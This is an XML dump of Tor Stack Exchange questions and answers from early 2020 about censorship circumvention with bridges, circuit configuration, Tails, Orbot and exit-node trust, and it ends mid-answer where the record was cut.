  <row Id="20817" PostTypeId="1" CreationDate="2020-01-23T09:02:43.810" Score="1" ViewCount="450" Body="&lt;p&gt;recently we noticed that Iran's government by using firewall or blocking tor exit nodes or .... has blocked access to websites hosted inside, no websites inside Iran is accessible via tor. we thought site owners take some steps against tor but we were wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's too odd if they installed firewall in the country's internet gateway, but take some steps for sure, is there anyway to resolve this, any Idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some websites for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mihanwebhost.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mihanwebhost.com/&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.sheypoor.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sheypoor.com/&lt;/a&gt;&#xA;&lt;a href=&quot;https://divar.ir/s/tehran&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://divar.ir/s/tehran&lt;/a&gt;&#xA;&lt;a href=&quot;http://tehran.ir/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tehran.ir/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="28525" LastActivityDate="2020-12-03T23:23:42.357" Title="IRAN blocked tor network, THE NEW CHINA?" Tags="|exit-relays|bridge|censorship|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20818" PostTypeId="2" ParentId="20817" CreationDate="2020-01-23T14:45:51.533" Score="1" Body="&lt;p&gt;Try using an obfuscator such as obfs4, and the corresponding bridges from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges.torproject.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28418" LastActivityDate="2020-01-23T14:45:51.533" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20821" PostTypeId="1" CreationDate="2020-01-25T07:41:14.327" Score="0" ViewCount="282" Body="&lt;p&gt;Does my internet speed matter if I use same circuit, nodes/hops? &#xA;There are 3 PC's:&#xA;1st one is connected to 100Mbps internet speed &#xA;2nd 500Mbps internet speed&#xA;3rd 1Gbps internet speed&#xA;In case all of them use same circuit the average ratio of HTTP request durations will be the same or will differ ? &#xA;If downloading something through Tor - the download speed in Tor network will be same or higher internet speed means higher speed in Tor ? &lt;/p&gt;&#xA;" OwnerUserId="28534" LastActivityDate="2022-02-13T13:01:30.137" Title="Does my internet speed matter?" Tags="|tor-browser-bundle|exit-relays|circuit|guard-node|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20822" PostTypeId="2" ParentId="20821" CreationDate="2020-01-25T09:03:09.587" Score="0" Body="&lt;p&gt;Your download speed will be bottlenecked by the speed of the slowest link. If the speed is truly terrible, you can try creating a different circuit but realize that the slowness is one of the costs for anonymity.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-25T09:03:09.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20824" PostTypeId="1" CreationDate="2020-01-25T22:47:10.847" Score="1" ViewCount="3865" Body="&lt;p&gt;Being new to tor, I had opened a &quot;onion circuits&quot; window just to see some of it's magic without fully understanding what it means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that in the &quot;normal case&quot; I see a variety of hosts from different domains, also changing frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However on one day, all the nodes I saw (over a long time) just came from one domain only, and the list looked quite static.&#xA;So I wondered whether tor would be as safe as usual or whether someone managed to infiltrate the tor network.&#xA;Maybe it was just mis-configuration of some tor nodes, I don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can someone explain the magic about onion circuits and how things should look like if everything looks &quot;normal&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Examples for &quot;all onion circuits from one source&quot;&lt;/strong&gt; (as I see it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortly after starting:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XYmIN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XYmIN.png&quot; alt=&quot;Onion Circuits shortly after becoming ready&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After significant usage time:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1jO2D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1jO2D.png&quot; alt=&quot;Onion Circuits after significant usage time&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I see is that all Onion Circuits seems to be provided by &lt;code&gt;torpidsUSwholesale&lt;/code&gt;.&#xA;(At another time it was a different name, while still at another time it was many different names)&lt;/p&gt;&#xA;" OwnerUserId="28537" LastEditorUserId="28537" LastEditDate="2020-01-28T20:59:43.597" LastActivityDate="2022-02-17T00:03:45.507" Title="What's an &quot;onion circuit&quot;?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20825" PostTypeId="1" CreationDate="2020-01-25T23:31:22.800" Score="0" ViewCount="311" Body="&lt;p&gt;To my understanding of tor security, it works best if all users send short, equal-sized packets (requests, responses) into the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if I'm watching some video which takes quite some time.&#xA;Will the tor network vary the route while the same stream is downloaded/viewed?&#xA;I also think that there does not need to be much traffic analysis if a big stream is read on an entry node, and a big stream is read by an exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally as most video software does bandwidth negotiation (DSL speed, screen resolution (size of video window), power of video decoding, etc.): Will the negotiated transfer speed be an contributing indicator to de-anonymize the user?&lt;/p&gt;&#xA;" OwnerUserId="28537" LastActivityDate="2020-02-25T19:01:45.270" Title="Is watching a video less anonymous?" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20826" PostTypeId="1" AcceptedAnswerId="20837" CreationDate="2020-01-26T00:13:14.117" Score="2" ViewCount="1096" Body="&lt;p&gt;Using tor browser in tails I had a problem downloading some file.&#xA;So I used (as a kind of habit) &lt;code&gt;wget&lt;/code&gt; to download the file (which succeeded).&#xA;Only after that I noticed that &lt;code&gt;wget&lt;/code&gt; might have revealed by real IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does tails provide special precautions against such user mistakes?&lt;/p&gt;&#xA;" OwnerUserId="28537" LastActivityDate="2020-01-27T16:13:00.287" Title="Was it a fatal mistake to use wget in tails?" Tags="|anonymity|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20828" PostTypeId="2" ParentId="17391" CreationDate="2020-01-26T00:35:33.100" Score="0" Body="&lt;p&gt;You could checksum all the sectors of the partition before and after having used the stick: If the checksum changed, something was changed on the stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe using a software like tripwire (&lt;a href=&quot;http://www.linux-magazine.com/Online/Features/Detecting-Attackers-with-Tripwire&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.linux-magazine.com/Online/Features/Detecting-Attackers-with-Tripwire&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But make sure to check the right partition (i.e. not the persistent one).&lt;/p&gt;&#xA;" OwnerUserId="28537" LastActivityDate="2020-01-26T00:35:33.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20829" PostTypeId="1" AcceptedAnswerId="20836" CreationDate="2020-01-26T01:08:17.600" Score="0" ViewCount="819" Body="&lt;p&gt;On my first attempt with tails, my home router failed to provide an IP address via DHCP because TAILS randomized the MAC.&#xA;In my further attempts I disabled the MAC randomization feature, wondering:&#xA;Will anybody on the other side of my router see the MAC address (unless some software puts it inside some data packet)?&#xA;So what is the use of MAC randomization in TAILS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I see that it would make sense when being used not at home)&lt;/p&gt;&#xA;" OwnerUserId="28537" LastEditorUserId="28537" LastEditDate="2020-02-27T07:57:55.797" LastActivityDate="2020-02-27T07:57:55.797" Title="Who could read the MAC when using TAILS at home?" Tags="|anonymity|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20830" PostTypeId="2" ParentId="20825" CreationDate="2020-01-26T18:51:21.037" Score="1" Body="&lt;p&gt;As far as I understand it, watching videos over TOR, unless maybe it's on an &quot;.onion&quot; service, is not recommended because it puts a lot of load on the exit nodes. Even when it's hosted on an &quot;.onion&quot; service, it puts an unnecessary load on the relays run by volunteers. It's less damaging than using TOR to watch a clearweb video, but it still slows down everybody else's browsing.&lt;/p&gt;&#xA;" OwnerUserId="27924" LastActivityDate="2020-01-26T18:51:21.037" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20831" PostTypeId="2" ParentId="20824" CreationDate="2020-01-26T21:42:55.637" Score="0" Body="&lt;p&gt;An onion circuit is a combination of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If going to Clearweb) &lt;code&gt;Guard (entry node) -&amp;gt; Relays/Bridges -&amp;gt; Exit node -&amp;gt; Clearweb&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If remaining inside TOR network) &lt;code&gt;Guard (entry node) -&amp;gt; Relays/Bridges -&amp;gt; Hidden Service&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 'circuit' is essentially the path you are taking (like a traceroute) put together by the onion router for you to use. There are settings that can be changed to have this path reconstructed more or less frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you provide examples of what you mean when you say 'all the nodes you see come from one domain'. If you want to reconstruct your circuit more often, see the following &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual-dev.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;configuration options&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NewCircuitPeriod NUM&#xA;&#xA;    Every NUM seconds consider whether to build a new circuit. (Default: 30 seconds)&#xA;&#xA;MaxCircuitDirtiness NUM&#xA;&#xA;    Feel free to reuse a circuit that was first used at most NUM seconds ago, but &#xA;    never attach a new stream to a circuit that is too old. For hidden services, &#xA;    this applies to the last time a circuit was used, not the first. Circuits with &#xA;    streams constructed with SOCKS authentication via SocksPorts that have &#xA;    KeepAliveIsolateSOCKSAuth also remain alive for MaxCircuitDirtiness seconds &#xA;    after carrying the last such stream. (Default: 10 minutes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28418" LastActivityDate="2020-01-26T21:42:55.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20832" PostTypeId="1" CreationDate="2020-01-26T22:02:30.753" Score="0" ViewCount="976" Body="&lt;p&gt;I use Windows and created my own program in which I use tor.exe. Only I need an exit node with IPv6. How do I configure torrc for this?&lt;/p&gt;&#xA;" OwnerUserId="28540" LastActivityDate="2022-02-15T20:04:05.833" Title="Tor and IPv6 exit nodes" Tags="|tor-browser-bundle|configuration|ipv6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20833" PostTypeId="2" ParentId="19882" CreationDate="2020-01-27T12:25:02.903" Score="0" Body="&lt;p&gt;Months later that particular site started to reject upfront the access with a bogus privacy violation message, but only when using Tor network. I've come to the conclusion that that particular site detect and reject whatever come from a Tor exit node.&lt;/p&gt;&#xA;" OwnerDisplayName="user26970" LastActivityDate="2020-01-27T12:25:02.903" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20834" PostTypeId="2" ParentId="20528" CreationDate="2020-01-27T14:58:34.200" Score="0" Body="&lt;pre&gt;&lt;code&gt;sudo -u debian-tor nyx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wirimnetz.wordpress.com/2014/02/23/anonym-im-internet-mittels-raspberry-pi-tor-und-privoxy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Solution&lt;/a&gt; is running nyx as user tor (i.e. debian-tor in Ubuntu 18.04). In this case just these 2 lines about control port needed in torrc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28507" LastActivityDate="2020-01-27T14:58:34.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20835" PostTypeId="2" ParentId="20832" CreationDate="2020-01-27T16:01:07.680" Score="0" Body="&lt;p&gt;According to the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;, you can set:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;PreferIPv6&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tells exits that, if a host has both an IPv4 and an IPv6 address, we&#xA;  would prefer to connect to it via IPv6. (IPv4 is the default.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is also:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;IPv6Only&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the address is absent, or resolves to both an IPv4 and an IPv6&#xA;  address, only listen to the IPv6 address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This second one is a little vague, so I have no idea if it will do anything.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-27T16:01:07.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20836" PostTypeId="2" ParentId="20829" CreationDate="2020-01-27T16:09:07.193" Score="1" Body="&lt;p&gt;What does a MAC address say? It says: I am X kind of device made by Y brand and here is my unique number Z. These are things that you might want to hide if you are using a device on a public wifi. Being that the MAC address should be unique, it inherently fingerprintable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you never take that device out of your house, is this an issue? Not really. It's more of a considerable in public.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-27T16:09:07.193" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20837" PostTypeId="2" ParentId="20826" CreationDate="2020-01-27T16:13:00.287" Score="2" Body="&lt;p&gt;No, Tails will automatically wrap wget, curl, ssh, etc. with torsocks. The only thing that will give away your real IP is bittorrent which shouldn't be done on the Tor Network anyway.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-27T16:13:00.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20838" PostTypeId="1" CreationDate="2020-01-27T19:32:21.333" Score="0" ViewCount="241" Body="&lt;p&gt;i have been using tor on my older windows version without anything else. how does this look with windows 10? i don't trust windows 10 too much since beeing forced to have it. &lt;/p&gt;&#xA;" OwnerUserId="28546" LastActivityDate="2022-03-18T22:01:25.140" Title="Tor and Windows 10, a combination that can only fail?" Tags="|windows|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20839" PostTypeId="2" ParentId="20838" CreationDate="2020-01-27T20:57:34.163" Score="0" Body="&lt;p&gt;It's important to remember that Tor is primarily a anonymity tool and only secondarily a security tool. Will you be anonymous to websites you visit while using Tor on Windows 10? Yes as long as you know how not to de-anonymize yourself but that's true regardless of your operating system.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-27T20:57:34.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20842" PostTypeId="1" CreationDate="2020-01-28T14:47:46.193" Score="1" ViewCount="96" Body="&lt;p&gt;I guess that by now some of you have seen Vice's article on AVAST and how they are basically mining everything going on in your browsers. If not you can read and be afraid here: &lt;a href=&quot;https://www.vice.com/amp/en_us/article/qjdkq7/avast-antivirus-sells-user-browsing-data-investigation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.vice.com/amp/en_us/article/qjdkq7/avast-antivirus-sells-user-browsing-data-investigation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is if this data mining works on the TOR browser too or just the &quot;normal&quot; ones like Chrome, Firefox etc?&lt;/p&gt;&#xA;" OwnerUserId="28550" LastActivityDate="2022-02-16T20:05:30.563" Title="JUMPSHOT/AVAST and TOR" Tags="|anonymity|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20843" PostTypeId="2" ParentId="20842" CreationDate="2020-01-28T15:10:27.517" Score="0" Body="&lt;p&gt;If they were using some kind of keylogger, then they could see what you are typing into the Tor Browser. However if they were just snooping traffic, then they could see that you are using Tor but they couldn't see what you were doing on Tor.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-28T15:10:27.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20844" PostTypeId="1" CreationDate="2020-01-28T15:35:33.337" Score="1" ViewCount="436" Body="&lt;p&gt;What is preventing the &quot;Exit Node&quot; from tampering with the message going to the server, or the message coming back to the user. As far as I understand, the &quot;Exit Node&quot; can read the unencrypted message, and there is nothing stopping it from tampering with the message, adding some sort of Trojan? &lt;/p&gt;&#xA;" OwnerUserId="28551" LastActivityDate="2021-07-02T22:25:47.123" Title="How can the &quot;Exit Node&quot; be trusted?" Tags="|exit-relays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20846" PostTypeId="2" ParentId="20844" CreationDate="2020-01-28T16:23:20.177" Score="0" Body="&lt;p&gt;The Tor Project monitors exit nodes and if one is found to be misbehaving, they can make sure that it has a &quot;badexit&quot; flag on the network and no middle nodes will send traffic there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a community at Tor that specializes in &lt;a href=&quot;https://community.torproject.org/relay/community-resources/bad-relays/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bad relays&lt;/a&gt;. Check out their website if you want to know more about what they do.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-01-28T16:23:20.177" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20847" PostTypeId="1" CreationDate="2020-01-28T21:29:31.890" Score="0" ViewCount="518" Body="&lt;p&gt;Am using parrot os and I have whonix set up in a VM all the two. But I still run anonsurf whiles connected to the whonix. Will there be any problem or is it a bad thing to do. Thank you &lt;/p&gt;&#xA;" OwnerUserId="28554" LastActivityDate="2020-01-28T21:29:31.890" Title="Whonix and anonsurf" Tags="|whonix|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20849" PostTypeId="1" AcceptedAnswerId="20865" CreationDate="2020-01-30T20:59:44.853" Score="0" ViewCount="110" Body="&lt;p&gt;I understand that a server can run services (such as nginx) then listen to localhost, then run Tor Server to create a unique tor address and accept traffic from other Tor Servers into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: is that server safe? Can someone trace the IP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario A: Assume I'm running a website on tor network. Tor users send a request to my server through N nodes. Does that mean (N-1)th node's owner knows my IP and (N-2)th node owner's IP?&#xA;Scenario B: Suppose someone owns all N nodes, does that mean he has the power as ISP on tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious about this problem after reading FBI and The Playpen Case since no one technically talks about this, how did the FBI hack trace the owner server?&lt;/p&gt;&#xA;" OwnerUserId="28567" LastActivityDate="2020-02-02T19:12:33.873" Title="Is websites/services hosted on tor network safe?" Tags="|onion-services|security|censorship|server-administration|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20850" PostTypeId="2" ParentId="20187" CreationDate="2020-01-30T23:54:43.217" Score="1" Body="&lt;p&gt;You could modify &quot;/etc/tor/torrc&quot; or in &quot;path/to/your/torbrowser/Data/Tor/torrc&quot; to cycle proxies faster:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MaxCircuitDirtiness NUM&lt;/p&gt;&#xA;" OwnerUserId="28568" LastActivityDate="2020-01-30T23:54:43.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20851" PostTypeId="1" AcceptedAnswerId="20864" CreationDate="2020-01-31T09:33:31.983" Score="0" ViewCount="650" Body="&lt;p&gt;I've started using Tor on Android (Orbot) as a VPN and I included all my apps to be routed through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to verify if any given app is going safely via Tor or just using the plain network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the browser one can always do a ddg search for &quot;what's my ip&quot; and verify that there is no IP available. But other apps no. And some apps even work amazingly fast that I question if they are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11991" LastActivityDate="2020-02-02T18:57:30.570" Title="How to verify Tor is up on Android (Orbot)" Tags="|orbot|vpn|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20852" PostTypeId="1" CreationDate="2020-01-31T12:58:35.997" Score="0" ViewCount="146" Body="&lt;p&gt;If I need to go away for a while, then should I turn off cable/wifi, or to leave Tails connected?&#xA;First option looks better because physically disconnected, but multiple connect-disconnect can cause some additional edge effects and risks?&#xA;(sorry if stupid question)&lt;/p&gt;&#xA;" OwnerUserId="28569" LastActivityDate="2022-02-21T23:02:40.197" Title="What is more safe - keep network connected or do connect-disconnect" Tags="|security|tails|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20854" PostTypeId="1" CreationDate="2020-02-01T01:20:49.957" Score="0" ViewCount="1508" Body="&lt;p&gt;thanks for your time today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recently reinstalled Tor and noticed the configuration to exclude IP addresses from the proxy has gone. This guide covers an older version.&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/4914/access-local-router-in-tor-browser/4946#4946&quot;&gt;Access local router in Tor Browser?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want an add-on (Synology download station) to access an internal IP address but for this to work I need to exclude it from the browsers usual behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help and advice would be really appreciated, Thanks.&lt;/p&gt;&#xA;" OwnerUserId="28575" LastActivityDate="2024-02-17T09:03:30.433" Title="Exclude IP addresses - where has it gone?" Tags="|proxy|ip-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20858" PostTypeId="2" ParentId="4412" CreationDate="2020-02-01T20:46:27.143" Score="0" Body="&lt;p&gt;The workaround to this is to deploy and use a private Tor network. Anyone can run their own directory authorities that aren't part of the public network as their own independent Tor network. Therefore, the mere fact that a machine isn't part of the public Tor network doesn't mean it's not a Tor node, strictly speaking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor publishes TorDNSEL as a convenience to prevent the alternative: the need to probe every IP for &quot;signs&quot; of being an exit node (which notably port-scanning , etc. is illegal in certain countries like the United States because collection of such information can be considered conspiracy to commit unauthorized access to a computer) and thus potentially blocking either large ranges of IPs while still being somewhat ineffective, or else only being able to block a small percentage of exit nodes given the vast surface area of the entire public Tor network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is that we don't know how many non-public Tor networks there really are out there deployed on the scale of an large intranet. Should these networks at any time decide to disclose their existence to the public, it will have the effect of turning large segments of the internet into de facto Tor nodes, though not necessarily all Public nodes. This in turn would do away with the common misconceived idea that an IP address can be used to identify a person to any degree, as it will become impossible to determine conclusively whether a IP is a Tor node within a private network.  &lt;/p&gt;&#xA;" OwnerUserId="28579" LastActivityDate="2020-02-01T20:46:27.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20859" PostTypeId="1" CreationDate="2020-02-02T07:56:43.863" Score="0" ViewCount="118" Body="&lt;p&gt;I have been wondering is running an Anti-Virus Software with a Firewall brings a security risk with it while using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently read about a free Anti-Virus software sold its Users browsing data. Is there a way such a usually helpful software can bring harm in terms of security?&lt;/p&gt;&#xA;" OwnerUserId="28582" LastActivityDate="2022-02-21T15:02:25.197" Title="AntiVirus Software - Potential security risk?" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20860" PostTypeId="2" ParentId="20859" CreationDate="2020-02-02T10:28:47.670" Score="0" Body="&lt;p&gt;Any software on your machine that can access the internet has the potential to give away your information. It doesn't matter if it's an antivirus, a game, or even a professional application suite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK Windows doesn't have anything like AppArmor that would say &quot;This program can do A, B, and C; but if it tries to do anything else it will be blocked.&quot; So there's nothing stopping a rogue program from doing bad things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why something like Tails is very good for anonymity if you are not allowed to install a more secure OS on your machine. It may be a little slower and you might want to buy a fast USB stick but you can much more peace of mind when you need to be anonymous.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-02T10:28:47.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20862" PostTypeId="1" CreationDate="2020-02-02T13:22:01.727" Score="1" ViewCount="463" Body="&lt;pre&gt;&lt;code&gt;root@kali:~# tor&#xA;Feb 02 07:18:55.029 [notice] Tor 0.4.2.5 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1d, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4.&#xA;Feb 02 07:18:55.029 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Feb 02 07:18:55.029 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Feb 02 07:18:55.030 [warn] /var/lib/tor/hidden_service is not owned by this user (root, 0) but by debian-tor (131). Perhaps you are running Tor as the wrong user?&#xA;Feb 02 07:18:55.030 [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;Feb 02 07:18:55.030 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28585" LastEditorUserId="28418" LastEditDate="2020-03-25T18:25:27.663" LastActivityDate="2020-03-25T18:25:27.663" Title="what's going on with tor?" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20863" PostTypeId="2" ParentId="20852" CreationDate="2020-02-02T18:48:25.760" Score="0" Body="&lt;p&gt;It doesn't matter. If you turn it off you save electricity. If you leave it on you don't. Neither will necessarily affect your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's best is to understand exactly &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;how Tor works&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-02T18:48:25.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20864" PostTypeId="2" ParentId="20851" CreationDate="2020-02-02T18:57:30.570" Score="0" Body="&lt;p&gt;Theoretically you could run your android device off of your home wifi and sniff the packets to your router to see if they are going to a Tor node. That is if you know how to use Wireshark to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easier method would be to use the standard chrome or firefox browser, set them to use the orbot vpn and go to check.torproject.org (you don't need to use what's my ip). If the browser is using Tor, then the other apps probably are also.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-02T18:57:30.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20865" PostTypeId="2" ParentId="20849" CreationDate="2020-02-02T19:12:33.873" Score="0" Body="&lt;p&gt;Let's take this in 2 parts:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand that a server can run services (such as nginx) then&#xA;  listen to localhost, then run Tor Server to create a unique tor&#xA;  address and accept traffic from other Tor Servers into it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;My question is: is that server safe? Can someone trace the IP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is as safe as you allow it to be. If you are using just HTML with no fancy javascript or PHP scripts that you don't know what they do, then yes it is very safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your code isn't safe then it is not. It's all up to you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Scenario A: Assume I'm running a website on tor network. Tor users&#xA;  send a request to my server through N nodes. Does that mean (N-1)th&#xA;  node's owner knows my IP and (N-2)th node owner's &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;IP? Scenario B: Suppose someone owns all N nodes, does that mean he&#xA;  has the power as ISP on tor network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A. No, the node doesn't know your IP. It just knows that you are listening to a specific address at a specific port. It doesn't do anything with your actual IP. Please read the design document to get a good understanding &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;of Tor circuits and streams&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. If someone owns all of the nodes and the Tor Project hasn't blacklisted the nodes, then Tor should not be used at all. 